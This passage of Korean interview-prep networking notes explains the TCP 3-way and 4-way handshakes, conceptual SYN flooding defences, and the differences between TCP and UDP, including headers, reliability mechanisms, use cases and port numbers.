양쪽 모두 상대방의 초기 시퀀스 번호를 알고 있으므로, 이후 데이터 전송 시 순서를 보장할 수 있습니다.

클라이언트는 서버의 초기 시퀀스 번호 y를 알고 있음
  → 서버로부터 받을 데이터의 시작 번호를 알 수 있음

서버는 클라이언트의 초기 시퀀스 번호 x를 알고 있음
  → 클라이언트로부터 받을 데이터의 시작 번호를 알 수 있음

5. 3-way Handshake가 필요한 이유

1. 양방향 통신 준비 확인

TCP는 전이중 통신(Full-duplex)을 지원하므로 양쪽 모두 송신과 수신이 가능해야 합니다.

클라이언트 → 서버: 클라이언트의 송신 준비 확인
서버 → 클라이언트: 서버의 송신 준비 확인

2. 시퀀스 번호 동기화

데이터의 순서를 보장하기 위해 양쪽 모두 상대방의 초기 시퀀스 번호를 알아야 합니다.

클라이언트: 서버의 초기 시퀀스 번호 y를 알고 있음
서버: 클라이언트의 초기 시퀀스 번호 x를 알고 있음

3. 연결의 유효성 검증

양쪽 모두 상대방이 실제로 존재하고 통신 가능한 상태인지 확인합니다.

클라이언트: 서버가 SYN-ACK로 응답 → 서버 존재 확인
서버: 클라이언트가 ACK로 응답 → 클라이언트 존재 확인

4. 중복 연결 방지

이미 존재하는 연결과 구분하여 새로운 연결을 설정합니다.

6. 4-way Handshake (연결 해제)

연결 해제 과정

TCP 연결을 해제할 때는 4-way handshake를 사용합니다.

클라이언트                    서버
    |                         |
    |---- FIN (seq=x) ------->|  [1단계: 연결 종료 요청]
    |                         |
    |<---- ACK (ack=x+1) -----|  [2단계: 종료 요청 확인]
    |                         |
    |                         |  [서버가 남은 데이터 전송]
    |                         |
    |<---- FIN (seq=y) -------|  [3단계: 서버 종료 요청]
    |                         |
    |---- ACK (ack=y+1) ------>|  [4단계: 종료 확인]
    |                         |
  [연결 해제 완료]

왜 4번인가?

TCP는 전이중 통신이므로 양쪽 모두 독립적으로 연결을 종료할 수 있습니다.

클라이언트 → 서버: 클라이언트의 송신 종료
서버 → 클라이언트: 서버의 송신 종료

각각 2단계씩 필요하므로 총 4단계가 필요합니다.

7. 3-way Handshake의 문제점과 해결

SYN Flooding 공격

공격 방법:

공격자가 서버에 대량의 SYN 패킷을 전송
  → 서버는 SYN_RECEIVED 상태로 대기
  → 서버의 리소스 고갈

해결 방법:

SYN Cookie: 서버가 리소스를 할당하지 않고 쿠키로 응답
연결 수 제한: 동시 연결 수를 제한
방화벽 설정: 의심스러운 IP 차단

요약

3-way handshake는 TCP 연결을 설정하기 위해 클라이언트와 서버가 3번의 패킷을 주고받는 과정입니다.
1단계 (SYN): 클라이언트가 서버에 연결 요청 (초기 시퀀스 번호 x 전송)
2단계 (SYN-ACK): 서버가 연결 수락하고 클라이언트의 요청 확인 (초기 시퀀스 번호 y 전송, ack = x + 1)
3단계 (ACK): 클라이언트가 서버의 응답 확인 (ack = y + 1)
목적: 양방향 통신 준비 확인, 시퀀스 번호 동기화, 연결의 유효성 검증
연결 해제는 4-way handshake를 사용하며, 양쪽 모두 독립적으로 종료할 수 있기 때문에 4단계가 필요합니다.

참고 자료

예상 꼬리질문 정리

1. 왜 2-way handshake가 아닌 3-way handshake인가?

2-way handshake의 문제점:

만약 2-way handshake만 사용한다면:

클라이언트                    서버
    |                         |
    |---- SYN (seq=x) ------->|
    |                         |
    |<-- SYN-ACK (seq=y, ack=x+1) --|
    |                         |
  [연결 완료?]

문제점:

클라이언트는 서버의 응답을 받았지만, 서버는 클라이언트가 자신의 응답을 받았는지 확인할 수 없음
네트워크 지연으로 인한 중복 패킷 문제 해결 불가
양방향 통신 준비 상태를 완전히 확인할 수 없음

3-way handshake의 장점:

양쪽 모두 상대방의 통신 준비 상태를 확인
시퀀스 번호 동기화 완료
연결의 유효성 검증

2. 시퀀스 번호가 랜덤 값인 이유는?

보안상의 이유:

예측 가능한 시퀀스 번호는 TCP Sequence Number Prediction 공격에 취약
공격자가 시퀀스 번호를 예측하여 가짜 패킷을 주입할 수 있음

랜덤 값 사용:

초기 시퀀스 번호(ISN)를 랜덤하게 생성
공격자가 시퀀스 번호를 예측하기 어려움
보안 강화

3. 3-way handshake 중 패킷이 손실되면?

1단계 (SYN) 손실:

클라이언트가 SYN을 보냈지만 서버가 받지 못함
  → 클라이언트는 타임아웃 후 SYN 재전송

2단계 (SYN-ACK) 손실:

서버가 SYN-ACK를 보냈지만 클라이언트가 받지 못함
  → 서버는 타임아웃 후 연결 종료
  → 클라이언트는 타임아웃 후 SYN 재전송

3단계 (ACK) 손실:

클라이언트가 ACK를 보냈지만 서버가 받지 못함
  → 서버는 타임아웃 후 SYN-ACK 재전송
  → 클라이언트는 이미 ESTABLISHED 상태이므로 RST 전송
  → 또는 서버가 타임아웃 후 연결 종료

재전송 메커니즘:

TCP는 타임아웃과 재전송 메커니즘을 통해 패킷 손실에 대응
일정 시간 내 응답이 없으면 패킷을 재전송

4. 3-way handshake와 4-way handshake의 차이는?

구분	3-way Handshake	4-way Handshake
목적	연결 설정	연결 해제
단계 수	3단계	4단계
플래그	SYN, SYN-ACK, ACK	FIN, ACK, FIN, ACK
양방향	양쪽 모두 연결 준비	양쪽 모두 독립적으로 종료

4-way handshake가 4단계인 이유:

TCP는 전이중 통신이므로 양쪽 모두 독립적으로 종료 가능
클라이언트의 송신 종료 (FIN → ACK)
서버의 송신 종료 (FIN → ACK)
총 4단계 필요

5. UDP는 왜 handshake가 없는가?

UDP의 특성:

비연결형 (Connectionless): 연결 설정 없이 데이터 전송
빠른 전송: 연결 설정 과정 없이 즉시 전송
신뢰성 없음: 순서 보장, 재전송 없음

UDP에 handshake가 없는 이유:

연결을 설정할 필요가 없음
데이터를 보내면 끝 (Best-effort delivery)
신뢰성 보장이 필요 없음

반면 TCP:

연결 지향형이므로 연결 설정 필요
신뢰성 보장을 위해 시퀀스 번호 동기화 필요
3-way handshake로 연결 설정

Network_02) 연결해서 통하면 천천히, 연결 없으면 빠르게

jaemeon — Fri, 23 Jan 2026 11:35:11 +0900

Topic (오늘의 주제)

TCP(Transmission Control Protocol)와 UDP(User Datagram Protocol)는 전송 계층에서 사용되는 두 가지 주요 프로토콜입니다. TCP는 신뢰성 있는 연결 지향형 통신을 제공하고, UDP는 빠르고 단순한 비연결형 통신을 제공합니다.

개발자 면접 단골 질문이자, 네트워크의 핵심인 TCP와 UDP의 차이점과 사용 사례를 이해하는 것이 중요합니다.

Why (왜 사용하는가? 왜 중요한가?)

TCP와 UDP는 각각 다른 특성을 가지고 있어 애플리케이션의 요구사항에 따라 선택해야 합니다. TCP는 데이터의 신뢰성이 중요한 경우(파일 전송, 이메일, 웹 브라우징)에 사용되고, UDP는 속도와 실시간성이 중요한 경우(동영상 스트리밍, 게임, DNS 조회)에 사용됩니다.
네트워크는 데이터가 전송되는 도중 일부가 사라지거나 순서가 뒤집힐 수 있는 환경입니다. 이때 전송 계층(4계층)은 엔드포인트(송신자-수신자) 간에 데이터가 제대로 도착했는지, 순서는 맞는지 관리해 주는 역할을 합니다.
TCP의 3-way handshake, 흐름 제어, 혼잡 제어, 오류 복구 메커니즘과 UDP의 단순성과 빠른 전송 속도를 이해해야 합니다. 또한 각 프로토콜의 헤더 구조와 포트 번호의 역할도 중요합니다.

1. 전송 계층(Transport Layer)이 왜 필요한가?

전송 계층의 필요성

네트워크는 데이터가 전송되는 도중 일부가 사라지거나 순서가 뒤집힐 수 있는 환경입니다. 예를 들어, "내일 db 수정을 위해 배포를 한달 후로 미뤄야한다."라는 메시지를 보냈는데 도착한 데이터가 "내일 ... 배포를 ... 한다."처럼 일부 단어가 손실되어 의미가 완전히 바뀔 수 있습니다.

이때 전송 계층(4계층)은 엔드포인트(송신자-수신자) 간에 데이터가 제대로 도착했는지, 순서는 맞는지 관리해 주는 역할을 합니다.

전송 계층에는 성격이 정반대인 두 가지 프로토콜이 있습니다. 바로 TCP와 UDP입니다.

2. TCP (Transmission Control Protocol)

TCP의 정의

TCP(Transmission Control Protocol)는 전송 계층에서 사용되는 연결 지향형(Connection-oriented), 신뢰성 있는(Reliable) 프로토콜입니다. 속도가 상대적으로 느리더라도, 데이터 하나라도 빠뜨리지 않고 완벽하게 배달하는 것이 목표입니다.

TCP의 핵심 특징

1. 연결 지향형 (Connection-oriented)

통신 전에 연결을 설정하고, 통신 후 연결을 해제합니다.

3-Way Handshake (연결 설정):

클라이언트                    서버
    |                         |
    |---- SYN (seq=x) ------->|  [1단계: 연결 요청]
    |                         |
    |<-- SYN-ACK (seq=y, ack=x+1) --|  [2단계: 연결 수락 + 확인]
    |                         |
    |---- ACK (ack=y+1) ------>|  [3단계: 확인 응답]
    |                         |
  [연결 설정 완료]

각 단계의 의미:

1단계 (SYN): 클라이언트가 서버에 연결 요청
2단계 (SYN-ACK): 서버가 연결 수락하고 클라이언트의 요청 확인
3단계 (ACK): 클라이언트가 서버의 응답 확인

자세한 내용은 [[3 Way Handshake]]를 참고하세요.

2. 신뢰성 보장 (Reliability)

TCP는 여러 메커니즘을 통해 데이터의 신뢰성을 보장합니다.

순서 보장 (Sequence Number):

TCP는 각 바이트에 순서 번호를 부여하여 데이터의 순서를 보장합니다.

송신: [1][2][3][4][5]
수신: [1][2][3][4][5]  ✅ 순서 보장

확인 응답 (ACK - Acknowledgment):

수신자는 데이터를 받으면 ACK를 보내어 정상 수신을 확인합니다.

송신자                    수신자
    |                         |
    |---- 데이터 (seq=1) ----->|
    |                         |
    |<---- ACK (ack=2) --------|
    |                         |
    |---- 데이터 (seq=2) ----->|
    |                         |
    |<---- ACK (ack=3) --------|

재전송 (Retransmission):

ACK를 받지 못하면 데이터를 재전송합니다.

송신자                    수신자
    |                         |
    |---- 데이터 (seq=1) ----->|
    |                         |
    |     [ACK 손실]           |
    |                         |
    |---- 데이터 (seq=1) ----->|  [재전송]
    |                         |
    |<---- ACK (ack=2) --------|

3. 흐름 제어 (Flow Control)

수신자의 버퍼 크기에 맞춰 전송 속도를 조절합니다. 수신자가 바쁘면 전송 속도를 낮춥니다.

슬라이딩 윈도우 기법:

수신자는 Window 크기를 TCP 헤더에 포함하여 전송
송신자는 Window 크기만큼만 데이터 전송
수신자가 데이터를 처리하면 Window 크기 업데이트

수신자 버퍼: [    ] (4바이트)
Window = 4

송신자는 4바이트까지만 전송 가능
수신자가 2바이트 처리 → Window = 2로 업데이트

4. 혼잡 제어 (Congestion Control)

네트워크 혼잡 상황을 감지하고 전송 속도를 조절합니다.

주요 알고리즘:

Slow Start: 연결 초기에 점진적으로 전송 속도 증가
Congestion Avoidance: 혼잡 임계값 도달 후 선형적으로 증가
Fast Retransmit: 중복 ACK 3개 받으면 즉시 재전송
Fast Recovery: 혼잡 상황에서 빠른 복구

네트워크 혼잡 감지
    ↓
전송 속도 감소
    ↓
점진적으로 속도 증가

TCP 헤더 구조

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Acknowledgment Number                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Data |           |U|A|P|R|S|F|                               |
| Offset| Reserved  |R|C|S|S|Y|I|            Window             |
|       |           |G|K|H|T|N|N|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Checksum            |         Urgent Pointer        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

주요 필드:

Source Port / Destination Port: 송신자/수신자 포트 번호
Sequence Number: 데이터의 순서 번호
Acknowledgment Number: 다음에 받을 데이터의 시퀀스 번호
Flags: SYN, ACK, FIN, RST 등 연결 제어 플래그
Window: 수신 가능한 데이터 크기 (흐름 제어)

TCP의 사용 사례

웹 브라우징 (HTTP/HTTPS)
- 웹 페이지, 이미지 등 정확한 전송 필요
- Spring Boot & React 앱의 모든 통신
이메일 (SMTP, POP3, IMAP)
- 이메일 내용 손실 방지
파일 전송 (FTP)
- 파일 무결성 보장
원격 접속 (SSH, Telnet)
- 명령어와 응답의 정확한 전달
데이터베이스 연결
- 쿼리와 결과의 신뢰성 보장

Spring Boot & React와의 관계

대부분의 웹 서비스(로그인, 게시판, 결제)는 TCP 위에서 동작합니다.

이유: 데이터의 정확성이 중요합니다. 예를 들어, 사용자가 "1,000,000원 송금" 버튼을 눌렀는데 "0" 하나가 빠져서 "1,000원"만 송금되면 안 됩니다.

동작: Spring Boot(Tomcat)가 8080포트를 열어두고(Listen), React(브라우저)가 3-Way Handshake로 연결을 맺은 뒤 안전하게 JSON 데이터를 주고받습니다.

3. UDP (User Datagram Protocol)

UDP의 정의

UDP(User Datagram Protocol)는 전송 계층에서 사용되는 비연결형(Connectionless), 비신뢰성(Unreliable) 프로토콜입니다. 속도가 최우선이며, 복잡한 절차 없이 데이터를 전송합니다.

UDP의 핵심 특징

1. 비연결형 (Connectionless)

연결 설정 없이 데이터를 전송합니다. 3-Way Handshake 같은 과정이 없습니다.

클라이언트                    서버
    |                         |
    |---- 데이터 전송 ------->|  [즉시 전송]
    |                         |

2. 단순한 헤더

TCP 헤더는 20바이트 이상인데, UDP 헤더는 8바이트로 매우 가볍습니다. 덕분에 전송 속도가 빠릅니다.

3. 신뢰성 없음

데이터가 전송 중 손실되어도 재전송하지 않습니다. 확인 응답(ACK)이나 재전송 메커니즘이 없습니다.

4. 흐름 제어 및 혼잡 제어 없음

UDP는 흐름 제어나 혼잡 제어 기능이 없습니다. 데이터를 보내는 속도나 네트워크 상태를 고려하지 않습니다.

UDP 헤더 구조

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            Length             |           Checksum            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

주요 필드:

Source Port / Destination Port: 송신자/수신자 포트 번호
Length: UDP 헤더 + 데이터의 전체 길이
Checksum: 오류 검사를 위한 체크섬 (선택적)

TCP 헤더(20바이트) vs UDP 헤더(8바이트): UDP가 훨씬 가볍습니다.

UDP의 사용 사례

실시간성이 중요한 곳에서는 UDP가 적합합니다.

동영상 스트리밍 / 화상 회의
- 일부 패킷 손실 허용 가능
- 낮은 지연 시간 중요
- 영상에서 1프레임이 깨져도 영상이 멈추고 다시 받아오는 것보다, 살짝 뭉개지고 계속 재생되는 것이 더 나은 사용자 경험을 제공합니다.
온라인 게임
- 실시간 반응성 중요
- 일부 데이터 손실 허용 가능
- 데이터 확인 절차로 인한 지연은 게임 플레이에 치명적입니다.
DNS 조회
- 빠른 응답 필요
- 단순한 요청/응답
VoIP (Voice over IP)
- 실시간 음성 통신
- 낮은 지연 시간 중요
DHCP (Dynamic Host Configuration Protocol)
- 빠른 IP 주소 할당

4. TCP vs UDP 비교

핵심 차이점

구분	TCP	UDP
연결 방식	연결 지향형 (Connection-oriented)	비연결형 (Connectionless)
신뢰성	신뢰성 보장 (데이터 손실 없음)	비신뢰성 (데이터 손실 가능)
순서 보장	순서 보장	순서 보장 안 함
속도	상대적으로 느림	빠름
오류 복구	자동 재전송	없음
흐름 제어	있음 (슬라이딩 윈도우)	없음
혼잡 제어	있음	없음
헤더 크기	20바이트 (가변)	8바이트 (고정)
오버헤드	큼	작음
통신 방식	일대일 (Unicast)	일대일, 일대다, 다대다
대표 서비스	웹(HTTP), 이메일, 파일 전송	스트리밍, 게임, DNS
비유	등기 우편 (서명 필수)	방송국 송출 (안 보면 끝)

연결 설정 과정 비교

TCP (3-way handshake 필요):

클라이언트                    서버
    |                         |
    |---- SYN (seq=x) ------->|
    |                         |
    |<-- SYN-ACK (seq=y, ack=x+1) --|
    |                         |
    |---- ACK (ack=y+1) ------>|
    |                         |
  [연결 설정 완료]

UDP (연결 설정 없음):

클라이언트                    서버
    |                         |
    |---- 데이터 전송 -------->|
    |                         |
  [즉시 전송]

5. TCP와 UDP의 선택 기준

선택 기준

면접에서 "TCP와 UDP 중 무엇을 쓸 건가요?"라고 묻는다면, 정답은 "서비스의 목적에 따라 다릅니다"입니다.

TCP를 선택해야 하는 경우:

데이터의 정확성이 중요한 경우
데이터의 순서가 중요한 경우
대용량 데이터 전송
연결 지향적 통신이 필요한 경우
신뢰성이 속도보다 중요한 경우

예시: 회원가입, 결제, 데이터 저장, 파일 다운로드, 이메일, 웹 페이지 로딩, Spring Boot & React 앱의 모든 통신

UDP를 선택해야 하는 경우:

속도와 실시간성이 중요한 경우
일부 데이터 손실이 허용되는 경우
빠른 응답이 필요한 경우
멀티캐스트/브로드캐스트가 필요한 경우
오버헤드를 최소화해야 하는 경우

예시: 라이브 방송, 게임, 동영상 스트리밍, DNS 조회

실무에서의 활용

우리가 주로 다루는 HTTP(Spring, Node, React)는 기본적으로 신뢰성을 위해 TCP를 사용합니다.

최근에는 구글이 만든 HTTP/3처럼, UDP를 기반으로 하되 TCP의 신뢰성 기능을 포함한 새로운 기술들도 등장하고 있습니다.

요약

TCP는 연결 지향형, 신뢰성 있는 프로토콜로 데이터의 정확성과 순서를 보장합니다. 3-way handshake로 연결을 설정하고, ACK, 재전송, 흐름 제어, 혼잡 제어를 통해 신뢰성을 보장합니다.
UDP는 비연결형, 비신뢰성 프로토콜로 빠른 전송 속도와 낮은 오버헤드를 제공합니다. 연결 설정 없이 즉시 데이터를 전송하며, 오류 복구나 흐름 제어 기능이 없습니다.
TCP는 데이터의 정확성이 중요한 웹 브라우징, 이메일, 파일 전송에 사용되고, UDP는 실시간성이 중요한 동영상 스트리밍, 온라인 게임, DNS 조회에 사용됩니다.
선택 기준: 데이터 정확성이 중요하면 TCP, 속도와 실시간성이 중요하면 UDP를 선택합니다. Spring Boot & React 앱은 대부분 TCP를 사용합니다.

참고 자료

예상 꼬리질문 정리

4. UDP는 신뢰성이 없는데 왜 사용하나?

UDP는 신뢰성이 없지만 다음과 같은 장점이 있습니다:

빠른 전송 속도: 연결 설정/해제 과정 없음
낮은 오버헤드: 헤더가 8바이트로 작음 (TCP는 20바이트 이상)
실시간성: 지연 시간이 짧음
멀티캐스트 지원: 일대다 통신 가능

사용 사례:

동영상 스트리밍: 일부 프레임 손실은 허용 가능
온라인 게임: 실시간 반응성이 중요
DNS 조회: 빠른 응답 필요

애플리케이션 레벨에서 신뢰성 보장:

일부 애플리케이션은 UDP 위에 자체 신뢰성 메커니즘을 구현
예: QUIC 프로토콜 (UDP 기반, TCP의 신뢰성 기능 포함) - HTTP/3에서 사용!

5. TCP와 UDP의 포트 번호는 어떻게 사용되나?

포트 번호는 전송 계층에서 애플리케이션을 구분하는 식별자입니다.

포트 번호 범위:

Well-known Ports (0-1023): 시스템 예약 포트
- HTTP: 80 (TCP)
- HTTPS: 443 (TCP)
- DNS: 53 (UDP)
- SSH: 22 (TCP)
Registered Ports (1024-49151): 등록된 애플리케이션
Dynamic/Private Ports (49152-65535): 동적 할당

TCP와 UDP는 포트 번호를 독립적으로 사용:

같은 포트 번호라도 TCP와 UDP는 별개
예: TCP 53과 UDP 53은 다른 서비스